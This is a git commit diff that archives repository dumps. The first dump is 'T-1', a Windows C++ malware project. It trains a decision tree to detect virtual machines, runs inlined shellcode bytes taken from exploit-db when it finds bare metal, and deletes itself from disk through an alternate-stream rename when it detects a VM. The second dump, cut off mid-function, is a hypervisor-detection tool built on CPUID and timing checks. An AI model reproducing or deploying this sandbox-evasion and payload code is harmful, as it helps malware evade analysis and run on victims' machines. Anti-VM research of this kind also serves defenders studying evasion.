archive: add 5 repo prompt(s) [skip ci]

This commit is contained in:
github-actions[bot]
2026-02-24 14:00:15 +00:00
parent 789b4c405e
commit 22ebc4595c
5 changed files with 28100 additions and 0 deletions
+905
View File
@@ -0,0 +1,905 @@
Project Path: arc_0xTriboulet_T-1_wxaxzxdo
Source Tree:
```txt
arc_0xTriboulet_T-1_wxaxzxdo
├── LICENSE
├── Makefile
├── README.md
├── build
├── inc
│ ├── AbsoluteValue.h
│ ├── DeleteSelfFromDisk.h
│ ├── GetProcessCountViaSnapShot.h
│ ├── GetUniqueUserCountViaSnapshot.h
│ ├── InlinedShellcodeExecution.h
│ ├── VmDetection.h
│ ├── debug.h
│ └── intelligence.h
├── python
│ ├── DecisionTree
│ │ ├── badtree.png
│ │ ├── dataset
│ │ │ └── process_data.csv
│ │ └── decision_tree.py
│ └── Utilities
│ └── machine_data.py
└── src
├── AbsoluteValue.cxx
├── DeleteSelfFromDisk.cxx
├── GetProcessCountViaSnapShot.cxx
├── GetUniqueUserCountViaSnapshot.cxx
├── InlinedShellcodeExecution.cxx
├── VmDetection.cxx
└── main.cxx
```
`LICENSE`:
```
MIT License
Copyright (c) 2024 Steve S.
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
```
`Makefile`:
```
# Set defaults
EXEEXT := .exe
# Windows-specific settings
ifeq ($(OS), Windows_NT)
# Directories
SRCDIR := .\src
BUILDDIR := .\build
INCDIR := .\inc
WILD_OBJ := \*.o
WILD_EXE := \*.exe
CXX := x86_64-w64-mingw32-g++
CXXFLAGS := -I$(INCDIR) -Wall -Wextra -std=c++23 -O1 -static -Wno-missing-field-initializers -Wno-ignored-qualifiers -s -DDEBUG
LDFLAGS := -L$(INCDIR) -luser32 -lkernel32 -loleaut32 -lwbemuuid -lole32 -s
MKDIR := if not exist "$(BUILDDIR)" mkdir "$(BUILDDIR)"
RM := del
else
# Cross-compiling from Linux to Windows
# Directories
SRCDIR := ./src
BUILDDIR := ./build
INCDIR := ./inc
WILD_OBJ := /*.o
WILD_EXE := \*.exe
CXX := x86_64-w64-mingw32-g++
CXXFLAGS := -I$(INCDIR) -Wall -Wextra -std=c++23 -O1 -static -Wno-missing-field-initializers -Wno-ignored-qualifiers -s -DDEBUG
LDFLAGS := -L$(INCDIR) -lntdll -luser32 -lkernel32 -loleaut32 -lwbemuuid -lole32 -s
MKDIR := mkdir -p $(BUILDDIR)
RM := rm -f
endif
# Target executable
TARGET := $(BUILDDIR)/T-1$(EXEEXT)
# Source files
SRCS := $(wildcard $(SRCDIR)/*.cxx)
# Object files
OBJS := $(SRCS:$(SRCDIR)/%.cxx=$(BUILDDIR)/%.o)
# Rules
all: $(TARGET)
$(TARGET): $(OBJS)
$(CXX) $(CXXFLAGS) $(OBJS) $(LDFLAGS) -o $@
$(RM) $(BUILDDIR)$(WILD_OBJ)
$(BUILDDIR)/%.o: $(SRCDIR)/%.cxx
$(MKDIR)
$(CXX) $(CXXFLAGS) -c -o $@ $<
clean:
$(RM) $(BUILDDIR)$(WILD_OBJ)
$(RM) $(BUILDDIR)$(WILD_EXE)
.PHONY: all clean
```
`README.md`:
```md
# T-1: Intelligent VM Detection with DTC
## Project Overview
**T-1** is a C++ project inspired by the **T-1 Battlefield Robot**, also known as the **T-1 Ground Assault Vehicle**, which is a fully autonomous ground offensive system developed by Cyber Research Systems. This project simulates part of the logic behind the T-1 by leveraging a **Decision Tree Classifier (DTC)** trained using Python's **scikit-learn** library to implement VM detection in a C++ environment.
The model is trained to predict whether the system is running on a virtual machine based on the number of processes per user. The trained model is then used to implement VM detection in the C++ file `VmDetection.cxx`. The decision tree logic is extracted and converted into conditional statements that can be applied in any language, allowing the developer to integrate machine learning predictions into a C++ application.
### Key Features:
- **Decision Tree Classifier (DTC) Training**: A Python script uses `scikit-learn` to train a decision tree model based on system data, which can be visualized and implemented in C++.
- **VM Detection**: Implements the decision tree logic in the function `VmDetection` to determine whether the system is running on bare metal or inside a virtual machine.
- **Self-Deletion and Shellcode Execution**: Based on the VM detection result, the system can either execute shellcode or self-delete when running in a virtualized environment.
## Project Structure
- **`main.cxx`**: The main entry point of the project, which handles process and user counting, executes VM detection, and takes appropriate action based on the result.
- **`intelligence.h`**: Contains declarations for system functions such as `GetProcessCountViaSnapShot`, `GetUniqueUserCountViaSnapshot`, and `VmDetection`.
- **`VmDetection.cxx`**: Implements the `VmDetection` logic based on the decision tree classifier's learnings.
- **Python Scripts**:
- The `python` directory contains scripts for training the decision tree classifier on system data, visualizing the model, and exporting the learned logic for use in C++.
## Decision Tree Classifier Logic
The `VmDetection` function in C++ is based on the decision tree classifier model, which uses the `process_count_per_user` as the main feature to detect whether the system is virtualized or not:
```c++
BOOL VmDetection(float process_count_per_user){
// Conditional extracted from DecisionTreeClassifier learnings
if ((process_count_per_user > 75.3) || (process_count_per_user > 61.45 && process_count_per_user <= 69.3)){
PRINT("[i] Running on bare metal machine!\n");
return TRUE;
}
return FALSE;
}
```
This logic is derived from the decision tree model's learnings and applied to the `VmDetection` function in C++.
## Dependencies
- **C++**: The project is written in C++ and utilizes standard C++ libraries for system interaction.
- **scikit-learn (Python)**: Used for training the decision tree model. The `python` directory contains all scripts and data needed to train and visualize the model.
## Setup Instructions
### Step 1: Train the Decision Tree Classifier
The first step is to train the decision tree classifier using the provided Python scripts. These scripts are located in the `python` directory:
```bash
cd .\python\DecisionTree
python decision_tree.py
```
This script will train the model based on the collected system data and output a visualization of the decision tree, which you can use to understand the model's decision-making process.
### Step 2: Build the C++ Project
Once the decision tree logic has been extracted and implemented in `VmDetection.cxx`, you can build the C++ project using a standard C++ compiler.
```bash
mingw32-make.exe
```
### Step 3: Run the Executable
After building the project, you can run the executable to perform VM detection and trigger appropriate actions:
```bash
./build/T-1.exe
```
## Special Thanks
Special thanks to all the researchers who voluntarily ran the Python script to collect the necessary data for training the Decision Tree Classifier. Your contributions made this project possible!
## License
T-1 is licensed under the MIT License.
---
*Inspired by the T-1 Ground Assault Vehicle, the first Terminator-class robot.*
More information: [T-1 Terminator](https://terminator.fandom.com/wiki/T-1)
```
`inc/AbsoluteValue.h`:
```h
INT AbsoluteValue(INT x);
```
`inc/DeleteSelfFromDisk.h`:
```h
BOOL DeleteSelfFromDisk();
```
`inc/GetProcessCountViaSnapShot.h`:
```h
BOOL GetProcessCountViaSnapShot(OUT DWORD* dwProcessCount);
```
`inc/GetUniqueUserCountViaSnapshot.h`:
```h
BOOL GetUniqueUserCountViaSnapshot(OUT DWORD* dwUserCount);
```
`inc/InlinedShellcodeExecution.h`:
```h
VOID InlinedShellcodeExecution();
```
`inc/VmDetection.h`:
```h
BOOL VmDetection(float process_count_per_user);
```
`inc/debug.h`:
```h
#ifdef DEBUG
#define PRINT(...) printf(__VA_ARGS__)
#else
#define PRINT(...)
#endif
```
`inc/intelligence.h`:
```h
#include <stdio.h>
#include <windows.h>
#include <tlhelp32.h>
#include <comdef.h>
#include <comutil.h>
#include <wbemidl.h>
#include <string.h>
#define MemCopy __builtin_memcpy
#define MemSet __stosb
#define MemZero( p, l ) __stosb( p, 0, l )
#include "debug.h"
#include "GetProcessCountViaSnapShot.h"
#include "GetUniqueUserCountViaSnapshot.h"
#include "AbsoluteValue.h"
#include "VmDetection.h"
#include "InlinedShellcodeExecution.h"
#include "DeleteSelfFromDisk.h"
```
`python/DecisionTree/dataset/process_data.csv`:
```csv
CSV Schema (1 sample row):
Headers: Process Count, Process Count/User, User Count, Sandbox Score
Sample: "33", "8", "4", "1"
... [21 more rows omitted]
```
`python/DecisionTree/decision_tree.py`:
```py
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
from sklearn.model_selection import RandomizedSearchCV
from sklearn.model_selection import train_test_split
from sklearn.tree import DecisionTreeClassifier
from sklearn.metrics import accuracy_score
from sklearn.tree import plot_tree
# Define the file path
CSV_FILE = './dataset/process_data.csv'
MIN_DATASET_SIZE = 100
R_STATE = 42
class BadDecisionTree:
def __init__(self, df: pd.DataFrame):
self.best_model = None
self.model: DecisionTreeClassifier = DecisionTreeClassifier(random_state=R_STATE)
self.hyperparams: dict = {
'max_depth': np.arange(1, 10, dtype=int),
'min_samples_leaf': np.arange(1, 50, dtype=int),
'min_samples_split': np.arange(2, 10, dtype=int),
'criterion': ["gini", "entropy", "log_loss"],
'splitter': ["best", "random"],
'class_weight': ["balanced", None],
'ccp_alpha': np.linspace(0, 0.1, 50) # 100 values between 0 and 1
}
self.init_data: pd.DataFrame = df
self.data: pd.DataFrame = self.init_data.sample(frac=0.75, random_state=R_STATE)
self.test_data: pd.DataFrame = self.init_data.drop(self.data.index)
self.best_score: float = 0.0
if self.data.shape[0] < MIN_DATASET_SIZE:
self._data_augment()
self.X_train = self.data.drop('Sandbox Score', axis=1)
self.y_train = self.data['Sandbox Score']
self.X_test = self.test_data.drop('Sandbox Score', axis=1)
self.y_test = self.test_data['Sandbox Score']
def _data_augment(self) -> None:
self.data = self.data.sample(n=MIN_DATASET_SIZE, replace=True)
def tune_hyperparameters(self) -> None:
# Number of iteration for RandomizedSearchCV
n_iter_search = 5000
# Setting up the Randomized Search with cross validation
self.best_model = RandomizedSearchCV(self.model, param_distributions=self.hyperparams,
n_iter=n_iter_search, cv=5, scoring='accuracy', random_state=R_STATE)
self.best_model.fit(self.X_train, self.y_train)
self.best_score = self.best_model.best_score_
return self.best_model.best_params_
def visualize_tree(self, filename: str):
# Check if best_model is not None and if it's been fit
if self.best_model and hasattr(self.best_model, 'best_estimator_'):
plt.figure(figsize=(10, 6), dpi=100) # increase figure size and dpi
# Use plot_tree from sklearn.tree to visualize the tree
plot_tree(self.best_model.best_estimator_,
feature_names=self.X_train.columns,
class_names=True,
rounded=True,
fontsize=8,
filled=True)
# Save the tree
plt.savefig(filename)
else:
print("The model has not been created or fitted yet")
if __name__ == "__main__":
# Read the CSV into a DataFrame
data = pd.read_csv(CSV_FILE)
BadTree = BadDecisionTree(data)
# Print hyperparameters
print("\n\nTraining BadTree:")
print(BadTree.tune_hyperparameters())
# Define the data and the column names
data = [[140, 70, 2]] # The data inside two brackets makes it a 2D list which represents one row and three columns
columns = ['Process Count', 'Process Count/User', 'User Count']
test_frame = pd.DataFrame(data, columns=columns)
badtrer_predict_test = BadTree.best_model.predict(BadTree.X_test)
badtree_acc = accuracy_score(badtrer_predict_test, BadTree.y_test)
# Make a prediction on our novel test frame
print(f'BadTree accuracy : {badtree_acc * 100:.2f}%\n')
# Visualize and save the decision tree
BadTree.visualize_tree("badtree.png")
```
`python/Utilities/machine_data.py`:
```py
import psutil
from collections import Counter
import csv
def get_running_process_info():
# List to hold the names and users of all running processes
process_info = []
# Iterate over all running processes
for process in psutil.process_iter(['name', 'username']):
try:
# Get the name and username of the process
name = process.info['name']
username = process.info['username']
# Append the name and username as a tuple to the list
process_info.append((name, username))
except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess):
# If the process has been terminated or access is denied, skip it
continue
return process_info
def analyze_processes(process_info):
# Calculate the total number of processes
total_processes = len(process_info)
# Calculate the number of processes per user
user_process_counts = Counter(user for _, user in process_info)
# Calculate the total number of unique users
total_users = len(user_process_counts)
# Prepare data for CSV output
data = [
["Process Count", total_processes],
["Process Count/Users", total_processes/total_users],
["User Count", total_users],
["Sandbox Score", 0]
]
# Append user process counts to data
# data.extend([["None" if not user else "SYSTEM" if "SYSTEM" in user else "User", count] for user, count in user_process_counts.items()])
headers = []
row = []
# Print formatted results
for item in data:
headers.append(item[0])
row.append(item[1])
print(f"{item[0]}: {item[1]}")
print(headers)
print(row)
# Write results to CSV
with open('process_info.csv', 'w', newline='') as file:
writer = csv.writer(file)
writer.writerow(headers)
writer.writerow(row)
if __name__ == "__main__":
running_processes = get_running_process_info()
analyze_processes(running_processes)
#run me pls
```
`src/AbsoluteValue.cxx`:
```cxx
#include "intelligence.h"
INT AbsoluteValue(INT x){
return x < 0 ? -x : x;
}
```
`src/DeleteSelfFromDisk.cxx`:
```cxx
/*
* Strongly based on the implementation available on maldevacademy.com
*/
#include "intelligence.h"
// Custom FILE_RENAME_INFO structure definition
typedef struct _FILE_RENAME_INFO_EX {
#if (_WIN32_WINNT >= _WIN32_WINNT_WIN10_RS1)
union {
BOOLEAN ReplaceIfExists;
DWORD Flags;
} DUMMYUNIONNAME;
#else
BOOLEAN ReplaceIfExists;
#endif
HANDLE RootDirectory;
DWORD FileNameLength;
WCHAR FileName[MAX_PATH]; // Instead of FileName[1]
} FILE_RENAME_INFO_EX, * PFILE_RENAME_INFO_EX;
BOOL DeleteSelfFromDisk() {
CONST WCHAR NEW_STREAM[7] = L":%x%x\x00";
BOOL bSTATE = FALSE;
WCHAR szFileName[MAX_PATH * 2] = { 0x00 };
FILE_RENAME_INFO_EX FileRenameInfo_Ex = { .ReplaceIfExists = FALSE, .RootDirectory = 0x00 , .FileNameLength = sizeof(NEW_STREAM)};
FILE_DISPOSITION_INFO FileDisposalInfo = { .DeleteFile = TRUE };
HANDLE hLocalImgFileHandle = INVALID_HANDLE_VALUE;
if (GetModuleFileNameW(NULL, szFileName, (MAX_PATH * 2)) == 0x00) {
PRINT("[!] GetModuleFileNameW Failed With Error: %ld \n", GetLastError());
goto _END_OF_FUNC;
}
swprintf(FileRenameInfo_Ex.FileName, MAX_PATH, NEW_STREAM, rand(), rand() * rand());
if ((hLocalImgFileHandle = CreateFileW(szFileName, DELETE | SYNCHRONIZE, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0x0, NULL)) == INVALID_HANDLE_VALUE) {
PRINT("[!] CreateFileW [%d] Failed With Error: %ld \n", __LINE__, GetLastError());
goto _END_OF_FUNC;
}
if (!SetFileInformationByHandle(hLocalImgFileHandle, FileRenameInfo, &FileRenameInfo_Ex, sizeof(FILE_RENAME_INFO_EX))) {
PRINT("[!] SetFileInformationByHandle [%d] Failed With Error: %ld \n", __LINE__, GetLastError());
goto _END_OF_FUNC;
}
CloseHandle(hLocalImgFileHandle);
if ((hLocalImgFileHandle = CreateFileW(szFileName, DELETE | SYNCHRONIZE, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0x0, NULL)) == INVALID_HANDLE_VALUE) {
PRINT("[!] CreateFileW [%d] Failed With Error: %ld \n", __LINE__, GetLastError());
goto _END_OF_FUNC;
}
if (!SetFileInformationByHandle(hLocalImgFileHandle, FileDispositionInfo, &FileDisposalInfo, sizeof(FileDisposalInfo))) {
PRINT("[!] SetFileInformationByHandle [%d] Failed With Error: %ld \n", __LINE__, GetLastError());
goto _END_OF_FUNC;
}
bSTATE = TRUE;
_END_OF_FUNC:
if (hLocalImgFileHandle != INVALID_HANDLE_VALUE)
CloseHandle(hLocalImgFileHandle);
return bSTATE;
}
```
`src/GetProcessCountViaSnapShot.cxx`:
```cxx
#include "intelligence.h"
BOOL GetProcessCountViaSnapShot(OUT DWORD* dwProcessCount) {
PROCESSENTRY32 ProcEntry = { .dwSize = sizeof(PROCESSENTRY32) };
HANDLE hSnapShot = INVALID_HANDLE_VALUE;
DWORD dwProcCount = 0x0;
if (!dwProcessCount){
return FALSE;
}
if ((hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0x0)) == INVALID_HANDLE_VALUE) {
PRINT("[!] CreateToolhelp32Snapshot Failed With Error: %ld \n", GetLastError());
return FALSE;
}
if (!Process32First(hSnapShot, &ProcEntry)) {
PRINT("[!] Process32First Failed With Error: %ld \n", GetLastError());
goto _END_OF_FUNC;
}
do {
dwProcCount++;
} while (Process32Next(hSnapShot, &ProcEntry));
*dwProcessCount = dwProcCount;
_END_OF_FUNC:
if (hSnapShot != INVALID_HANDLE_VALUE){
CloseHandle(hSnapShot);
}
return (*dwProcessCount) ? TRUE : FALSE;
}
```
`src/GetUniqueUserCountViaSnapshot.cxx`:
```cxx
#include "intelligence.h"
#define MAX_NAME 256
#define HASH_TABLE_SIZE 1024
// based on: https://stackoverflow.com/questions/2686096/c-get-username-from-process
// Simple hash table implementation to track unique user names
typedef struct HashEntry {
char user[MAX_NAME * 2];
struct HashEntry* next;
} HashEntry;
typedef struct HashTable {
HashEntry* entries[HASH_TABLE_SIZE];
} HashTable;
unsigned int hash(const char* str) {
unsigned int hash = 0;
while (*str) {
hash = (hash << 5) + hash + *str++;
}
return hash % HASH_TABLE_SIZE;
}
void insert(HashTable* table, const char* user) {
unsigned int index = hash(user);
HashEntry* entry = table->entries[index];
while (entry != NULL) {
if (strcmp(entry->user, user) == 0) {
return; // User already in table
}
entry = entry->next;
}
entry = (HashEntry*)malloc(sizeof(HashEntry));
strcpy(entry->user, user);
entry->next = table->entries[index];
table->entries[index] = entry;
}
void clearTable(HashTable* table) {
for (int i = 0; i < HASH_TABLE_SIZE; i++) {
HashEntry* entry = table->entries[i];
while (entry != NULL) {
HashEntry* prev = entry;
entry = entry->next;
free(prev);
}
table->entries[i] = NULL;
}
}
BOOL GetLogonFromToken(HANDLE hToken, char* strUser, char* strDomain) {
DWORD dwSize = MAX_NAME;
BOOL bSuccess = FALSE;
DWORD dwLength = 0;
PTOKEN_USER ptu = NULL;
// Verify the parameter passed in is not NULL.
if (NULL == hToken) {
goto _END_OF_FUNC;
}
if (!GetTokenInformation(
hToken, // handle to the access token
TokenUser, // get information about the token's groups
(LPVOID)ptu, // pointer to PTOKEN_USER buffer
0, // size of buffer
&dwLength // receives required buffer size
)) {
if (GetLastError() != ERROR_INSUFFICIENT_BUFFER) {
PRINT("GetTokenInformation Error %ld\n", GetLastError());
goto _END_OF_FUNC;
}
ptu = (PTOKEN_USER)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY, dwLength);
if (ptu == NULL) {
goto _END_OF_FUNC;
}
}
if (!GetTokenInformation(
hToken, // handle to the access token
TokenUser, // get information about the token's groups
(LPVOID)ptu, // pointer to PTOKEN_USER buffer
dwLength, // size of buffer
&dwLength // receives required buffer size
)) {
goto _END_OF_FUNC;
}
SID_NAME_USE SidType;
char lpName[MAX_NAME];
char lpDomain[MAX_NAME];
if (!LookupAccountSid(NULL, ptu->User.Sid, lpName, &dwSize, lpDomain, &dwSize, &SidType)) {
DWORD dwResult = GetLastError();
if (dwResult == ERROR_NONE_MAPPED) {
strcpy(lpName, "NONE_MAPPED");
} else {
PRINT("LookupAccountSid Error %ld\n", GetLastError());
}
} else {
strcpy(strUser, lpName);
strcpy(strDomain, lpDomain);
bSuccess = TRUE;
}
_END_OF_FUNC:
if (ptu != NULL) {
HeapFree(GetProcessHeap(), 0, (LPVOID)ptu);
}
return bSuccess;
}
BOOL GetUserFromProcess(const DWORD procId, char* strUser, char* strDomain, char* placeHolder, DWORD* last_error) {
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, procId);
HANDLE hToken = NULL;
DWORD error = GetLastError();
if (hProcess == NULL) {
if(error != *last_error){
placeHolder[0] += 1;
*last_error = error;
}
return FALSE;
}
if (!OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)) {
error = GetLastError();
if(error != *last_error){
placeHolder[0] += 1;
*last_error = error;
}
CloseHandle(hProcess);
return FALSE;
}
BOOL bres = GetLogonFromToken(hToken, strUser, strDomain);
CloseHandle(hToken);
CloseHandle(hProcess);
return bres ? TRUE : FALSE;
}
BOOL GetUniqueUserCountViaSnapshot(DWORD* dwUserCount) {
PROCESSENTRY32 ProcEntry = { .dwSize = sizeof(PROCESSENTRY32) };
HANDLE hSnapShot = INVALID_HANDLE_VALUE;
char PlaceHolder[] = "0_PlaceHolder";
HashTable uniqueUsers = { 0 }; // Initialize hash table
DWORD lastErrorCode = 0x0; // Lazy unique error code check
if (!dwUserCount) {
return FALSE;
}
if ((hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0x0)) == INVALID_HANDLE_VALUE) {
PRINT("[!] CreateToolhelp32Snapshot Failed With Error: %ld \n", GetLastError());
return FALSE;
}
if (!Process32First(hSnapShot, &ProcEntry)) {
PRINT("[!] Process32First Failed With Error: %ld \n", GetLastError());
CloseHandle(hSnapShot);
return FALSE;
}
do {
char strUser[MAX_NAME], strDomain[MAX_NAME];
if (GetUserFromProcess(ProcEntry.th32ProcessID, strUser, strDomain, PlaceHolder, &lastErrorCode)) {
insert(&uniqueUsers, strUser);
}else{
insert(&uniqueUsers, PlaceHolder);
}
} while (Process32Next(hSnapShot, &ProcEntry));
*dwUserCount = 0;
for (int i = 0; i < HASH_TABLE_SIZE; i++) {
HashEntry* entry = uniqueUsers.entries[i];
while (entry != NULL) {
(*dwUserCount)++;
entry = entry->next;
}
}
if (hSnapShot != INVALID_HANDLE_VALUE) {
CloseHandle(hSnapShot);
}
clearTable(&uniqueUsers);
return (*dwUserCount) ? TRUE : FALSE;
}
```
`src/InlinedShellcodeExecution.cxx`:
```cxx
void InlinedShellcodeExecution(){
// Inlined shellcode. IRL this should be injected somewhere, somehow: https://www.exploit-db.com/shellcodes/49819
asm(".byte 0x48,0x31,0xff,0x48,0xf7,0xe7,0x65,0x48,0x8b,0x58,0x60,0x48,0x8b,0x5b,0x18,0x48,0x8b,0x5b,0x20,0x48,0x8b,0x1b,0x48,0x8b,0x1b,0x48,0x8b,0x5b,0x20,0x49,0x89,0xd8,0x8b,0x5b,0x3c,0x4c,0x01,0xc3,0x48,0x31,0xc9,0x66,0x81,0xc1,0xff,0x88,0x48,0xc1,0xe9,0x08,0x8b,0x14,0x0b,0x4c,0x01,0xc2,0x4d,0x31,0xd2,0x44,0x8b,0x52,0x1c,0x4d,0x01,0xc2,0x4d,0x31,0xdb,0x44,0x8b,0x5a,0x20,0x4d,0x01,0xc3,0x4d,0x31,0xe4,0x44,0x8b,0x62,0x24,0x4d,0x01,0xc4,0xeb,0x32,0x5b,0x59,0x48,0x31,0xc0,0x48,0x89,0xe2,0x51,0x48,0x8b,0x0c,0x24,0x48,0x31,0xff,0x41,0x8b,0x3c,0x83,0x4c,0x01,0xc7,0x48,0x89,0xd6,0xf3,0xa6,0x74,0x05,0x48,0xff,0xc0,0xeb,0xe6,0x59,0x66,0x41,0x8b,0x04,0x44,0x41,0x8b,0x04,0x82,0x4c,0x01,0xc0,0x53,0xc3,0x48,0x31,0xc9,0x80,0xc1,0x07,0x48,0xb8,0x0f,0xa8,0x96,0x91,0xba,0x87,0x9a,0x9c,0x48,0xf7,0xd0,0x48,0xc1,0xe8,0x08,0x50,0x51,0xe8,0xb0,0xff,0xff,0xff,0x49,0x89,0xc6,0x48,0x31,0xc9,0x48,0xf7,0xe1,0x50,0x48,0xb8,0x9c,0x9e,0x93,0x9c,0xd1,0x9a,0x87,0x9a,0x48,0xf7,0xd0,0x50,0x48,0x89,0xe1,0x48,0xff,0xc2,0x48,0x83,0xec,0x20,0x41,0xff,0xd6;");
}
```
`src/VmDetection.cxx`:
```cxx
#include "intelligence.h"
BOOL VmDetection(float process_count_per_user){
// Conditional extracted from DecisionTreeClassifier learnings
if ((process_count_per_user > 75.3) || (process_count_per_user > 61.45 && process_count_per_user <= 69.3)){
PRINT("[i] Running on bare metal machine!\n");
return TRUE;
}
return FALSE;
}
```
`src/main.cxx`:
```cxx
#include "intelligence.h"
int main(){
DWORD process_count = 0x0;
DWORD user_count = 0x0;
float process_per_user = 0.0f;
GetProcessCountViaSnapShot(&process_count);
GetUniqueUserCountViaSnapshot(&user_count);
process_per_user = process_count / user_count;
PRINT("[i] Process Count : %ld\n", process_count );
PRINT("[i] Process Count / User : %.2f\n" , process_per_user);
PRINT("[i] Users Count : %ld\n", user_count );
if(VmDetection(process_per_user)){
// ShellcodeDetonation
PRINT("[i] Executing shellcode!\n");
InlinedShellcodeExecution();
}else{
// SelfDelete
PRINT("[i] VM Detected. Self-deleting!\n");
DeleteSelfFromDisk();
}
return 0;
}
```
File diff suppressed because it is too large Load Diff
File diff suppressed because one or more lines are too long
File diff suppressed because it is too large Load Diff
+659
View File
@@ -0,0 +1,659 @@
Project Path: arc_zer0condition_checkhv_um_ip0x_l7y
Source Tree:
```txt
arc_zer0condition_checkhv_um_ip0x_l7y
├── README.md
├── hv_um.cpp
├── hv_um.sln
├── hv_um.vcxproj
└── hv_um.vcxproj.filters
```
`README.md`:
```md
## CheckSyntheticCPUID
CPUID leaf is explicitly defined for hypervisors to expose their presence and vendor ID; any honest vm stack should set this up
***
## CheckCrystalClock
compare freq from crystal clock or base MHz to measured TSC freq via RDTSC againsst QueryPerformanceCounter; large mismatch suggests TSC scaling/offsetting or lazy CPUID emulation
***
## CheckKUserSharedData
calculate the delta between the shared page time and RDTSC; large deviation suggests the OS timer and TSC/time virtualization are out of sync
***
## CheckUMIP_SGDT
modern CPUs support UMIP (User Mode Instruction Prevention), executing instructions like SGDT, SIDT and SLDT should throw a #GP exception and be emulated by the OS; should be slower and return dummy-ish values; very fast SGDT suggests UMIP is off or badly emulated; keep in mind this doesnt apply for old CPUs
***
## CheckERMSBEPT
hardware debug breakpoint (Dr0) set on EXECUTE during rep movsb copy; baremetal fires breakpoint reliably; sloppy EPT hypervisors may suppress/intercept before debug logic triggers; trap not firing == possible EPT hook detected
***
## CheckSchedulerSignature
Sleep(0) thread yield wakeup latency via QPC; bare metal <10us typical; sloppy vCPU schedulers could show >1000us switching overhead from poor thread migration or time slice emulation
***
## CheckTLBEPTPressure
TLB hit (dense 64B strides) vs page walk (sparse 64KB strides) latency ratio; baremetal ~3-5x; nested paging (EPT/SLAT) >>10x due to 2 level table walks; sloppy hypervisors could leak this overhead
***
## CheckTSCNoiseFloor
consecutive rdtsc() deltas on isolated core; count peaks >1.5x mean; baremetal ~10% peaks from SMT/interrupts; possible sloppy vCPU timing may show unnatural consistency (<10% peaks) or jitter spikes
***
```
`hv_um.cpp`:
```cpp
#include <windows.h>
#include <iostream>
#include <intrin.h>
#include <iomanip>
#include <chrono>
#include <vector>
#include <algorithm>
#include <cmath>
#include <numeric>
#include <thread>
#include <mutex>
void Log(const char* label, const char* msg, bool detected) {
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
std::cout << "[";
if (detected) {
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_INTENSITY);
std::cout << "failed";
}
else {
SetConsoleTextAttribute(hConsole, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
std::cout << "pass";
}
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
std::cout << "] " << std::left << std::setw(25) << label << ": " << msg << std::endl;
}
// if eax >= 0x40000000, a hypervisor interface is exposed.
// check for a few common vendors (HyperV, VMware, KVM, Xen).
// note: can spoof or hide this leaf
void CheckSyntheticCPUID() {
int cpuInfo[4] = { 0 };
__cpuid(cpuInfo, 0x40000000);
char vendor[13] = { 0 };
memcpy(vendor, &cpuInfo[1], 4); // EBX
memcpy(vendor + 4, &cpuInfo[2], 4); // ECX
memcpy(vendor + 8, &cpuInfo[3], 4); // EDX
bool isHypervisor =
(cpuInfo[0] >= 0x40000000) && (
strcmp(vendor, "Microsoft Hv") == 0 ||
strcmp(vendor, "VMwareVMware") == 0 ||
strcmp(vendor, "KVMKVMKVM") == 0 ||
strcmp(vendor, "XenVMMXenVMM") == 0
);
char msg[128];
sprintf_s(msg, "eax=0x%08X vendor=%s", cpuInfo[0], vendor);
Log("synthetic CPUID", msg, isHypervisor);
}
// measured TSC via rdtsc calibrated over wall clock QPC time
// mismatch >5%: treated as suspicious (heuristic threshold)
void CheckCrystalClock() {
int leaf15[4] = { 0 };
int leaf16[4] = { 0 };
__cpuid(leaf15, 0x15);
__cpuid(leaf16, 0x16);
bool has15 = (leaf15[2] != 0); // ecx = crystal frequency if nonzero
bool has16 = (leaf16[0] != 0); // eax = base MHz if nonzero
double official_hz = 0.0;
if (has15) {
// TSC frequency from ratio + crystal clock
unsigned int denom = leaf15[0] ? leaf15[0] : 1;
unsigned int numer = leaf15[1] ? leaf15[1] : 1;
double crystal = (double)leaf15[2]; // Hz
official_hz = crystal * ((double)numer / (double)denom);
}
else if (has16) {
unsigned int base_mhz = (unsigned int)leaf16[0];
official_hz = (double)base_mhz * 1.0e6;
}
LARGE_INTEGER freq, t1, t2;
QueryPerformanceFrequency(&freq);
QueryPerformanceCounter(&t1);
unsigned __int64 rdtsc1 = __rdtsc();
Sleep(100);
unsigned __int64 rdtsc2 = __rdtsc();
QueryPerformanceCounter(&t2);
double wallSecs = (double)(t2.QuadPart - t1.QuadPart) / (double)freq.QuadPart;
double measured_hz = (double)(rdtsc2 - rdtsc1) / wallSecs;
char msg[128];
if (official_hz > 0.0) {
double pctDiff = fabs(official_hz - measured_hz) / official_hz;
bool mismatch = (pctDiff > 0.05); // heuristic 5% tolerance
sprintf_s(msg, "official: %.0f MHz | measured: %.0f MHz | %.1f%% diff",
official_hz / 1e6, measured_hz / 1e6, pctDiff * 100.0);
Log("CPUID.0x15/0x16", msg, mismatch);
}
else {
